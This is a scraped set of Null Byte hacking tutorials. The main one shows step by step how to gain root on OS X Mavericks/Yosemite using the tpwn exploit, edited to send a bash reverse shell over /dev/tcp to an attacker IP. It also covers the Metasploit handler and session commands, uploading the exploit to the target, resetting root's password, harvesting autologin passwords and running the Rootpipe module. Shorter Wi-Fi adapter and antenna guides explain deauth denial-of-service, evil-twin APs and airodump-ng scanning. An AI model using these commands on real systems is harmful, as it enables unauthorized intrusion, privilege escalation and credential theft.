To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Hack WPA WiFi Passwords by Cracking the WPS PINThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Raspberry Pi:Physical Backdoor Part 1How To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:These Guys Hacked Together a Raspberry Pi & Car Steering Wheel to Play Mario KartHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterRaspberry Pi:MetasploitHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Install OpenVAS for Broad Vulnerability AssessmentHow To:Modify the USB Rubber Ducky with Custom Firmware
Get Root Access on OS X Mavericks and Yosemite « Null Byte :: WonderHowTo
Hello all! In this tutorial, I'd like to show you one way of getting root on OS X. Check outthis GitHub pagefor a recent privilege escalation exploit that was recently discovered. I've tested it and it works on both OS X 10.9 Mavericks and OS X 10.10 Yosemite, but appears to have been patched with OS X 10.11 El Capitan. If you check out the file main.m you can see where most of the magic is happening. This source code can very easily be changed to make it do more than just the system("/bin/sh") that the current code executes.Given that this is a local privilege escalation exploit, we might want to use this after already penetrating an OS X system for which we have only the privilege of the current user. In this tutorial, I will assume that you already have a shell or Meterpreter open on an OS X system connected to a Kali system and also have direct access to OS X in order to compile the code. If you haven't already,check out this tutorialI wrote on implementing Meterpreter on OS X.Using the Tpwn Privilege EscalationStep 1: Edit the ExploitDownload the files onthis GitHub pageonto your Mac and open up the main.m file. For those of you who are not familiar with C, the function called "main" is the function that will be run upon execution. Scroll down until you see the lineint main(int argc, char** argv, char** envp){which signals the beginning of the main function. The very first thing the function does is test to see if it is being run as root:if (getuid() == 0) {execve("/bin/sh",((char* ){"/bin/sh",0}), envp);exit(0);}Essentially, this is just saying "If the function getuid() returns a uid of 0, execute /bin/sh and exit with a status of 0, meaning everything went as expected." That's just a way of stopping the rest of the program because it would be pointless to run if the user is already root. Now, if you scroll to the very bottom of the page, you will see a similar conditional statement:if (getuid() == 0) {system("/bin/sh");exit(0);}This is checking the uid again after messing with the kernel and attempting to set the UID to 0 (as seen on the line just before this block of code). This is the piece we really want to edit because this is what will be run if we gain root privilege. Let's say our Kali system's IP address is 10.211.55.3 and we want to send back a reverse shell with this on port 6660. All we have to do is change the system command to the following:system("bash -i >& /dev/tcp/10.211.55.3/6660 0>&1 2>&1");Tip:If you are using TextEdit, be careful with the quotation marks. It is best to just leave the ones that are there because you may end up entering the "curly" quotation marks, which will make the file uncompilable. Make sure the quotation marks are straight, otherwise the compiler will complain that there are non-ASCII characters in the file.Now save and close main.m and open a new terminal. In the terminal, set your current directory to that of the folder containing the source. For example, if it is in my Downloads folder, I might type into terminal:cd Downloads/tpwn-masterNow that we are in the directory, we need to give ourselves the right to execute Makefile, which will (as the name so clearly implies)makethe file for us. We do this with the following command:chmod +x Makefile*Now we can execute it with:./Makefile*It should produce a new executable file in the same directory called "tpwn". Take this file and transfer it to your Kali system.EDIT:A module has been added to Metasploit that does all this for you, so if you want to use this exploit without having to compile it yourself on a Mac, search for the exploit in called osx/local/tpwn in Metasploit. Since it is a local exploit, it acts like a post-exploit module and requires an active session. I've tested it and it does not work correctly when done on a python meterpreter session, so it is best done on an active shell session. Make sure that you set the SESSION variable on the module to the corresponding active shell session you want to exploit.Step 2: Set Up a Handler for the Root ShellGo to your Kali system and open up Metasploit (you can get to it through Applications > Kali Linux > Top 10 Security Tools > metasploit framework or by opening a new terminal and entering in "msfconsole"). Once it opens, open up a new handler by typing in the command:use multi/handlerNow we just need to set up the handler to handle a reverse shell. We can do this by entering the following commands into Metasploit:set PAYLOAD osx/x64/shell_reverse_tcpset LHOST 10.211.55.3set LPORT 6660Make sure this is consistent with what you put into main.m (particularly the port number). Also make sure you don't use a port that is already in use otherwise this will obviously fail. To check if this port is in use, you can simply run the command:lsof -i :6660This will tell you what process is using the port as well. If nothing is using that port, you shouldn't get any response. Now, if everything is in the clear, set the handler to run as a job in the background by entering the command:exploit -j -zNow Metasploit will listen in the background for the shell to spawn.Notice how after I set up the handler and check again, you can see that it lists the process as using that port and that it is set to (LISTEN). Also notice that under command it says .ruby.bin. That is because Metasploit modules are Ruby scripts.Step 3: Download the Executable onto the Target SystemAs I mentioned earlier, I am assuming you already have a Meterpreter session opened up on your target system, as describedin this tutorial. Activate the Meterpreter session by entering the "sessions" command in Metasploit and getting the session number. Once you have it (or if you already know it), then enter the command:sessions -i 2where 2 is assumed to be your session number. Make sure that the tpwn file we generated earlier is in your home folder on Kali, so you can easily send a command to upload it to the target machine. Simply do this by entering the Meterpreter command:upload tpwnand it will simply upload the file to their home folder. Like we did earlier with Makefile, we need to allow the file to be executable on the target machine. This can be most easily accomplished by spawning a new shell in the Meterpreter by entering the command "shell". Once the new shell is opened, enter the following command:chmod +x tpwnNow the file can be executed on the target system. However, since we want to be able to simply execute the file and not force Meterpreter to hang onto it while its running, we should use the execute command in Meterpreter. If we had run it in the shell spawned by Meterpreter, it would simply wait there until it was no longer sending the shell to our Kali system, which would be pointless since we wouldn't be able to use it. Exit out of the shell by simply entering the command "exit", which should return you back to Meterpreter. To run the privilege escalation and reverse shell, enter the Meterpreter command:execute -f ~/tpwn -HStep 4: Listen for Root Shell and Upgrade to MeterpreterWe can put Meterpreter into the background by issuing the "background" command. If the system is vulnerable and you did everything correctly, Metasploit should notify you that a new session has opened (as shown in the previous picture). Don't interact with it quite yet, rather upgrade the session to a Meterpreter! First, find the session number of the new shell by entering the "sessions" command; it should be the highest numbered session. Once you have that number, upgrade it to a Meterpreter by issuing the command:sessions -u 3where 3 is the session number of the shell. Once the new Meterpreter has opened, interact with it by issuing the command "sessions -i 4" where 4 is the Meterpreter session number. You can test to see that you are root by spawning a shell in Meterpreter and quickly running a "whoami" command. Behold as it responds, "root"!Now that you have root access, it may be a good idea to kill the old Meterpreter session that only had the regular user's access since it is no longer necessary. You can do this in Metasploit (make sure to put the current Meterpreter into the background by issuing a "background" command first so that your commands are going to msf) by entering the command:sessions -k 2assuming that your old Meterpreter was session #2.Step 5: Fun Things to Do as Root on OS XThe average Mac user most likely doesn't even have a password set for root since you never really use it in OS X (Apple encourages people to use sudo for root privileges). If there is no password for root, you can easily set it yourself! Simply spawn a shell in the root Meterpreter, then enter the command "passwd". If there is no root password, it should not prompt you to enter the "old Unix password" and instead should skip to "enter new Unix password". In which case, you can set it to whatever you'd like if you want!Another cool thing you can do with root privileges on OS X using Metasploit is getting the password for a user who has automatic login setup. Put the Meterpreter into the background and issue the following command to Metasploit:use post/osx/gather/autologin_passwordTo see some more information about this post-exploit module, issue the command "info". As a post-exploit module, it requires an active session to run it on, which we luckily have! Set the session to either the root shell that we spawned with tpwn or the Meterpreter session we upgraded to by issuing the command:set SESSION 5with 5 being the session number of one of those instances. Now all you need to do is issue a "run" command to Metasploit and assuming autologin is being used by someone on that computer, you will get a clear text reading of the password right in Metasploit!Here we can see the user's password was just password123!Be sure to check out some of the other post-exploit modules that Metasploit has to offer for OS X. There aren't very many, but to find them, issue the command "search post/osx" in Metasploit and it will give you the full list. Additionally, you can also do "search post/multi" to see what post-exploit modules Metasploit has that work on multiple platforms.Rootpipe Privilege EscalationAnother privilege escalation exploit that's been found in several versions of OS X is called the rootpipe privilege escalation. While Apple had supposedly patched this exploit, it seems that some slight adjustments to the original exploit make it still viable. There is a Metasploit module that I believe is not yet actually available on the database but is available online. You can obtain the module itself fromhereand some extra files needed for it fromhere. Note that this exploit supposedly only works up to Yosemite 10.10.3, although I cannot attest to it since I have only 2 macs, one of which is running 10.10.3 and the other 10.11 (on which this has been patched).Step 1: Adding and Loading External ModuleIf you are unfamiliar with how to load an external module into Metasploit, check out this guide. Additionally, for the module to work, you want to put the extra files (not the module itself but the .daplug and .m files) in the write directory. To do this, open a terminal and enter the following command:mkdir -p /usr/share/metasploit-framework/data/exploits/CVE-2015-3673This is the directory where you should move those files to.Now open up Metasploit and issue a use command to load the module like so:use exploit/test/rootpipe_newMake sure this matches whatever you named the module file so it can find it.Step 2: Set Up the ExploitIf you issue an "info" command to Metasploit, you will see that the only option you need to set is session. Set the session to an active Metasploit session that only has regular user privileges. Now, we need to setup the payload options. It should have a reverse tcp shell by default which will work (it you enter the command "show payloads" you will see the payloads allowed for the module, and they do not include the Python Meterpreter). Now you need to set up the payload. The only option you need to change is LHOST which is required and left blank (you can enter the command "show options" to see all the options). To continue, set up the local host by issuing the commandset LHOST 10.211.55.3where 10.211.55.3 is your Kali system. Now run the exploit as a background job by issuing the commandexploit -j -zIf the target is vulnerable, a new session should open up in Metasploit. Like before, you can upgrade this shell to a Meterpreter by issuing the command:sessions -u 4where 4 is the number of the new session. Once the Meterpreter session spawns, open it up and spawn a new shell to run a "whoami" command to confirm your root privilege.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Dual Boot Mac OS X Mavericks 10.9 & Yosemite 10.10News:Why You Shouldn't Install iCloud Drive on iOS 8How To:Get the Transparent 3D Dock Back in Mac OS X YosemiteHow To:Get the Public Beta Preview of Mac OS X 10.10 Yosemite on Your MacHow To:Get Yosemite's Dark Mode Menu Bar in Mac OS X MavericksHow To:Dual Boot Mac OS X 10.11 El Capitan & 10.10 YosemiteHow To:Create a Bootable Install USB Drive of Mac OS X 10.10 YosemiteHow To:Create a Bootable Install USB Drive of Mac OS X 10.9 MavericksHow To:Reformat Mac OS X Without a Recovery Disc or DriveHow To:Monitor System Usage Stats in Your Mac OS X Menu BarHow To:Make Your Mac's Dock & App Icons Look Like Yosemite'sHow To:Find Out if Your Mac Can Support Continuity's Handoff FeatureHow To:Use El Capitan's New Split View Mode in Mac OS X Mavericks or YosemiteHow To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Get the Public Beta Preview of Mac OS X 10.11 El CapitanHow To:Resize Extremely Long "Open" & "Save" Dialog Boxes in Mac OS X YosemiteHow To:Make Yosemite Look More Like Classic, Pre-Mac OS X SystemsApple Unveiled Yosemite:Here's What to Expect in Mac OS X 10.10How To:Get the New iWork Apps for Free in Mac OS X MavericksHow To:Download OS X 10.11 El Capitan on Your MacHow To:10 Surefire Ways to Speed Up & Fix Your Family's Mac OS X Computer During the HolidaysHow To:Get the Dark Mode Boot Screen on Your Pre-2011 Mac Running YosemiteNews:Try Out the New Photos App & Diverse Emojis with the Yosemite 10.10.3 Public BetaHow To:Create a Bootable Install USB Drive of Mac OS X 10.11 El CapitanHow To:Change OS X’s Annoying Default Settings Using TerminalHow To:Install the Command Line Developer Tools Without XcodeHow To:Use the Mac OS X terminalHow To:Receive Notifications When Your Name Is Mentioned in MessagesHow To:Use the Simple Finder user interface in Mac OS XHow To:Rename Multiple Files at Once in Mac OS X YosemiteHow To:Connect Your iPhone to Your Mac Like Never Before with PushbulletHow To:Make Phone Calls Right from Yosemite's Notification CenterAndroid Basics:What Is Root?News:This Hack Turns Your iPad into a Multi-Window Multitasking Powerhouse for $10How To:Get the OS X Yosemite & iOS 8 Wallpapers on Your iPhone, iPad, or MacHow To:Download & Run the Latest Developer Build of Mac OS X for FreeHow To:Turn Off MacBook Pro Screen with the Lid Open and Using an External MonitorSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsNews:Calvin & Hobbes + OS X Desktop WallpaperHow To:Get the Beautiful New El Capitan Wallpaper for Your Mac & iPhone
Guide: Wi-Fi Cards and Chipsets « Null Byte :: WonderHowTo
Greetings aspiring hackers.I have observed an increasing number of questions, both here on Null-Byte and on other forums, regarding the decision of which USB wireless network adapter to pick from when performing Wi-Fi hacks. So in today's guide I will be tackling this dilemma. First I will explain the ideal requirements, then I will cover chipsets, and lastly I will talk about examples of wireless cards and my personal recommendations. Without further ado, let's cut to the chase.Ideal RequirementsWhen you are dealing with hacking, you have got to be equipped with all of the features on offer. In this particular instance involving wireless hacking, there are a few requirements that need to be met in order to achieve the full potential of whatever it is you are performing. Make sure your network card:Supports Monitor mode and Promiscuous modeSupports Master modeHas a fairly good signal reachSupports simultaneous packet injection and capturingSupports as many IEEE PHY modes as possibleSupports signal strength managementSupports both 2.4GHz and 5GHz frequenciesLet's go step by step.1The chipset you are using should have support forMonitor modeandPromiscuous mode."Huh, there's a difference?"you ask. Yes, there is.Neatly put byan answer on StackExchange:"""Monitor mode: Sniffing the packets in the air without connecting (associating) with any access point.Think of it like listening to people's conversations while you walk down the street.Promiscuous mode: Sniffing the packets after connecting to an access point. This is possible because the wireless-enabled devices send the data in the air but only "mark" them to be processed by the intended receiver. They cannot send the packets and make sure they only reach a specific device, unlike with switched LANs.Think of it like joining a group of people in a conversation, but at the same time being able to hear when someone says "Hey, Mike, I have a new laptop". Even though you're not Mike, and that sentence was intended to be heard by Mike, but you're still able to hear it."""(Yes, that's Python commenting. And there's nothing wrong with it ;) right?)One reason to supports these two modes is specifically, as stated above, for packet sniffing. Packet sniffing is essential for most techniques practiced in the sphere of Wi-Fi hacking. One notable example would be using Promiscuous mode with Ettercap and Driftnet to capture browser images.Another reason could be for deauthing. Deauthing, or formally deauthenticating, means sending a deauthentication frame to an access point (AP) to inform it that the sending client is disconnected. This will disassociate the client from the active connections of the AP. However, a deauth attack involves sending an excessive amount of deauthentication frames that inform the AP of every client being disconnected from it, thus fooling it into disassociating all connected clients. This can also put strain on the AP to eventually cause it to crash, resulting in an additional Denial of Service (DoS) attack being performed unintentionally (and sometimes intentionally). To perform such attacks, Monitor mode is implemented.2Having support for Master mode is a more-than-useful feature to have in a network card. A lot of network cards support Master mode, but there are some that do not.Master mode grants the ability for the chipset to act as an AP. This is useful for creating evil-twin APs and using Karma attack vectors, nothing more to explain here really.Pretty straightforward so far.3Having a fairly good signal reach is self explanatory. You want to be able to sniff data, perform remote injection and capture packets, all the while being a good 80 feet (25 metres, the length of most swimming pools) away from your victim's AP. Wouldn't that be great? This means having a decent (or should I say amazing) antenna that can do all of that.But this isn't just about the antenna - it is also about the processing done to the data before it can be used properly. Some chipsets are able to work with data collected from very low signals and produce surprisingly accurate and precise calculations. This technology feat is a remarkable advantage to have in wireless hacking, all thanks to the wonders of well-manufactured chipsets. Don't worry about chipsets for the moment, we'll get to that in the next section.4Your chipset, whatever it may be and whatever it may hold, should importantly, if not most importantly, possess the ability of packet injection. What is packet injection anyway?Packet injectionmeans interfering with an already established network connection and sending packets into the stream of data, trying to make those packets seem as if they are part of the normal communication.I should also note that being able to capture and inject packets simultaneously is essential. This is something well known to be used in WEP password cracking, as it requires that while packets are injected into the victimised AP (usually using aireplay-ng and Monitor mode), an ongoing capture of Initialisation Vectors (IVs) takes place under the hood.This is just one example, and a very important and widely used one, among many other uses for simultaneous packet capturing and injection.5IEEE 802.11are specifications for Wi-Fi communication, and those include Media Access Control (MAC) and Physical Layer (PHY). Currently the talk is about the PHY specification. There are many 802.11 protocol modes that exist but for wireless hacking there are the essentials. Your chipset must support 802.11ac/a/b/g/n (theacisn't a must, but is favourable).Moving on...6The support for signal strength management isn't a gem among sand grains, but it is something good to have as a feature of your chipset. This includes things like setting theTx-Poweron your network card, which controls the dBm signal on it. Usually cards have it at 20dBm (100mW) for normal network usage. You can see how being able to change this can aid in wireless hacking, but increasing the strength beyond a certain level can damage the chip in your network card, possibly making it unusable.Apparently increasing theTx-Powerof network cards is illegal in some countries, but I personally don't pay any attention to this, as it cannot be observed by any outsiders.7As goes for 802.11ac, being able to work at a 5GHz frequency is not a must, but it is favourable. Most (if not all) network cards these days support 2.4GHz, so there's no need to look for those.Now that is us, done with the ideal requirements. I will tell you now that there are no perfect cards out there, but if there were any to be built, they would all need to meet the above requirements to be marked asideal for wireless penetration testing.ChipsetsThroughout the last few sections and paragraphs I've been mentioning these things calledchipsets, but what does that actually mean?Well, a chipset is basically a mini-computer within a motherboard that works by managing the data flowing between the processor, memory and other I/O (input/output) peripherals.Let's break it down. We have the motherboard, which is the flat material that holds all of the components together. Then there is a processor (also called CPU - Central Processing Unit) that carries out the instructions of a system's functions by performing mathematical calculations based on I/O operations. Then we have the memory, which, unlike storage, holds data for immediate use and gets erased when the system is turned off. Finally we have the peripherals, which are I/O components and allow a system to function through user interaction. Now what a chipset does is it manages/control/distributes (whatever the word is) the information between all these electrical components.Get the image? Yes? Now you know what a chipset is.RecommendationsLastly, I would like to tell you all about the different examples there are of chipsets used in wireless cards that are pretty close to being ideal.Atheros AR9271This is probably the best, most compatible, plug and play out of the box, fully featured and ready-for-hacking wireless chipset available on the market currently. I believe this is so, as this checks most of the requirements that I listed above (only doesn't check 7, and a bit of 5 as it lacks 802.11ac support), and very few chipsets are up on that level. In fact, none other well-known ones are.There are two network cards that implement this chipset that I know of:AWUS036NHA by Alfa NetworkImage viaimages-amazon.comAnd TL-WN722N by TP-LINKImage viatp-link.comI have both and to tell you the truth, there is a difference when deciding between the two. The main noticeable difference is the form factor, which is obviously an advantage for the TL-WN722N but don't get too excited to buy it. I would have to pick the AWUS036NHA when performing penetration tests at home or the lab, since it has an immensely surprising advantage of being able to catch and work with such low signals, ones that another card with a (slightly) stronger antenna couldn't even detect.Now I don't know if that is an actual advantage or if it's the result of my amazing chipset tweaking skills (they aren't that amazing), either way I like both cards equally. I only take the TP-LINK into the real world with me, and that is mainly because it is more portable and less questionable to put on show in front of strangers gazing eyes.Realtek RTL8187/LI find that the RTL8187 and RTL8187L chipsets work very similarly, so similarly that I will just classify them as one. Regardless, they both have great compatibility and work well out of the box in all of the manufactured cards they are used in. They aren't as well refined and their data processing isn't quite as effective on low signals as the AR9271, but they do their job very well. Network cards manufactured with the RTL8187/L embedded include the AWUS036H and AWUS036EW by Alfa Network.Ralink RT3070This chipset is not perfect, it has a few flaws and it doesn't tick the requirements checklist all the way (has minor problems from 3-7), but it is better than many others on the market. Once again Alfa takes the lead by manufacturing the AWUS036NEH and AWUS036NH with the RT3070. Alfa's network game is really on fleek.EpilogueSo there you have it folks, we've just covered the Wi-Fi hacking grounds from a to z (no we didn't). We discussed the requirements that needs to be met to fit the description of an ideal chipset. We talked about what a chipset actually is, although it would have been more useful if I'd put that section at the start (but I didn't for the fun of it :P). We even covered ground on existing chipsets on the market and which card manufacturers implement those chipsets in their network cards. I mean, what else is there to cover?I hope you learned something new today and I hope that most of your questions have been answered after reading this guide, which I also hope was somewhat useful.Alright, enough of me talking. Here'sa lovely PDF of this postfor all of you PDF hungry zombies out there.That's it for today's guide. As always, leave any suggestions for future posts down in the comments below. I will soon be posting a tutorial (yay, not a guide) so stay tuned for that.As always have a great day, peace.TRTWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How To:Crack Wi-Fi Passwords—For Beginners!How To:Pick an Antenna for Wi-Fi HackingHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Spy on Network Relationships with Airgraph-NgHow To:Intercept Images from a Security Camera Using WiresharkHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Automate Wi-Fi Hacking with Wifite2How To:PAIRS Is the Easy Way to Restore Wi-Fi & Bluetooth Connections After Wiping Your PhoneHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadNews:PSP2 (Next Generation Portable) or NGP
How to Pick an Antenna for Wi-Fi Hacking « Null Byte :: WonderHowTo
When learningWi-Fi hacking, picking a compatible Wi-Fi network adapter is the first step to learning to crack Wi-Fi passwords.Many compatible adapters have swappable antennas, and there are several different kinds of specialized antennas you can add to a network adapter to increase its range and performance. Using a high-gain omnidirectional antenna, a panel antenna, and a parabolic grid, we'll examine the effect on Wi-Fi signal strength for each category of Wi-Fi antenna.Antennas Expand What Network Adapters Can DoWireless network adapters frequently come with a small omnidirectional antenna attached, which can be replaced with an aftermarket antenna. These omnidirectional antennas can pick up a signal about equally from every direction and work best in an office or home where there is no way to know what direction the signal will be coming from. In circumstances where the signal still isn't strong enough, we can sacrifice the ability to get a reasonably strong signal from any direction for a much more substantial gain in directional signal strength.Some applications of directional antennas include extreme range and the ability to hunt down signals by signal strength. While omnidirectional antennas make signal hunting extremely difficult, directional antennas will record a spike in signal strength whenever they are pointed towards the source of a Wi-Fi transmission.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsYou'll also find different types of directional antennas connecting long-range Wi-Fi links that can span over a mile with a clear line of sight. They are popular on boats, remote sensor stations, and construction sites with remotely linked security cameras.Omnidirectional AntennasThe standard antenna you'll expect to see on a router or network adapter is the "Rubber Ducky" style antenna that looks like a simple stick. These are simple, cheap, and work very well for what most consumers need.TheAlfa AWUS036NEHnetwork adapter.Image by Kody/Null ByteThis kind of antenna will have a flat, round radiation pattern that looks like a donut.The radiation pattern of an omnidirectional antenna.Image viaWikimedia CommonsThe pattern is ideal for connecting to a wireless access point on the same floor but isn't suitable for connecting to any network outside its range or on another level.Panel Directional AntennasDirectional panel antennas have a radiation pattern that looks more like a flashlight than a donut. This pattern is much weaker than an omnidirectional antenna in most directions but very strong both directly in front and behind the antenna.TheAlfa AWUS036NEHandAlfa RP-SMA 7panel antenna.Image by Kody/Null ByteThe main lobe of this radiation pattern, when pointed at the source of a Wi-Fi network, can project extreme range where a regular "Duck" antenna could never reach. If the antenna is moved even a small amount, however, the signal strength can drop off rapidly.The radiation pattern of a directional antenna.Image viaWikimedia CommonsThis makes a panel antenna an excellent choice for a fixed location but a poor choice for an environment where you don't know the direction of the Wi-Fi signal.Parabolic Grid AntennasIf the radiation pattern of a panel antenna is like a flashlight, the radiation pattern for a parabolic dish antenna is more like a laser beam. These antennas can get an extreme range and are meant for remote fixed locations that can span many miles with a clear line of sight.TheSimpleWiFi G2424parabolic grid antenna.Image by Kody/Null ByteWhile parabolic grids are bulky and not subtle at all, they have the most extreme reach of nearly any kind of Wi-Fi antenna. Thanks to their high gain and directionality, they can sniff information when compared with programs likeKismetfrom miles away when positioned correctly.The radiation pattern of a parabolic dish antenna.Image viaWikimedia CommonsLike panel antennas, bumping or changing the angle of the antenna can cause the signal to degrade rapidly. As we learned later, even picking up the Wi-Fi device we were tracking can cause a measurable signal spike.What You'll NeedTo follow this guide, you'll need aKali-compatible Wi-Fi network adapterlike theAlfa AWUS036NEH, which has a removable Wi-Fi antenna.Buy on Amazon:Alfa AWUS036NEH(Alt)For an omnidirectional antenna, check out high-gain omnidirectional antennas like theAlfa ARS-N19 Wireless 9 dBi antenna. There are a variety of indoor and outdoor panel adapters available, but I used theAlfa RP-SMA 7 dBi panel antenna. Parabolic grids are more expensive but are worth it if you're looking for the best possible range. If portability and subtlety aren't a consideration, theSimpleWiFi G2424 parabolic grid antennahas the best range of any of the other options we tried.Buy on Amazon:Alfa ARS-N19Buy on Amazon:Alfa RP-SMA 7Buy on Amazon:SimpleWiFi G2424Step 1: Connect the Adapter & Enable Monitor ModeFirst, you'll need to connect your Kali-compatible Wi-Fi network adapter. Once it's plugged in, you can runip ato find it. It should be named something likewlan1if your internal card iswlan0.~# ip a 1: lo: <LOOPBACK,UP,LOWER,UP> tu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000 link/ether ##:##:##:##:##:## brd ff:ff:ff:ff:ff:ff 3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether ##:##:##:##:##:## brd ff:ff:ff:ff:ff:ff inet 192.168.0.24/24 brd 129.168.0.255 scope global dynamic noprefixroute wlan0 valid_lft 2335sec preferred_lft 2335sec inet6 ####:####:####:####:####:####:####:####/64 scope global dynamic noprefixroute valid_lft 3599sec preferred_lft 3599sec inet6 ####::####:####:####:####/64 scope link noprefixroute valid_lft forever preferred_lft forever 6: wlan1mon: <BROADCAST,ALLMULTI,PROMISC,NOTRAILERS,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN group default qlen 1000 link/ieee802.11/radiotap ##:##:##:##:##:## brd ff:ff:ff:ff:ff:ffNext, in a terminal window, run the followingifconfigcommand to bring the network adapter up and theairmon-ngcommand to put it into monitor mode. If your card is named something besides wlan1, make sure to change the name to match yours. Once your card is in monitor mode, you can runifconfigto confirm the card is now named something likewlan1mon.~# ifconfig wlan1 up ~# airmon-ng start wlan1 ~# ifconfiqNow that our card is in monitor mode, we'll be selecting a network to track as our reference point. We'll use the strength of this network's signal to test out our antennas and see what kind of signal strength each type of antenna gives us.First, let's pull up a list of Wi-Fi networks we can target. We can do this by runningairodump-ng wlan1monand watching the adapter scan through all the Wi-Fi channels. After the list has populated a bit, pressControl-Cto cancel the scan.Don't Miss:Detect & Classify Wi-Fi Jamming Packets with the NodeMCU~# airodump-ng wlan1mon CH 11 ][ Elapsed: 0 s ][ 2020-04-30 04:36 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID ##:##:##:##:##:## -80 2 0 0 11 130 WPA2 CCMP PSK belkin.4d6 ##:##:##:##:##:## -83 2 0 0 11 130 OPN DAGOBAH SYSTEM-guest ##:##:##:##:##:## -81 2 0 0 11 130 WPA2 CCMP PSK DAGOBAH SYSTEM ##:##:##:##:##:## -65 2 0 0 11 130 WPA2 CCMP PSK Sky.NET ##:##:##:##:##:## -76 2 0 0 5 130 WPA2 CCMP PSK MySpectrumWiFi1b-2G ##:##:##:##:##:## -68 5 1 0 11 130 WPA2 CCMP PSK Carmen Merendez ##:##:##:##:##:## -82 3 0 0 1 130 WPA2 CCMP PSK MySpectrumWiFi58-2G BSSID STATION PWR Rate Lost Frames Probe ##:##:##:##:##:## ##:##:##:##:##:## -54 0 - 6 0 3Now, identify the channel that a network with a strong signal is on. We'll rerun theairodump-ngcommand with the added-cflag to scan only on the channel our target network is broadcasting. If we want to scan on channel 1, our command would look like below.~# airodump-ng wlan1mon -c 1 CH 1 ][ Elapsed: 6 s ][ 2020-04-30 04:36 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID ##:##:##:##:##:## -78 68 48 3 0 1 195 WPA2 CCMP PSK MySpectrumWiFi58-2G ##:##:##:##:##:## -82 0 6 3 0 1 195 WPA2 CCMP PSK TC8715D49 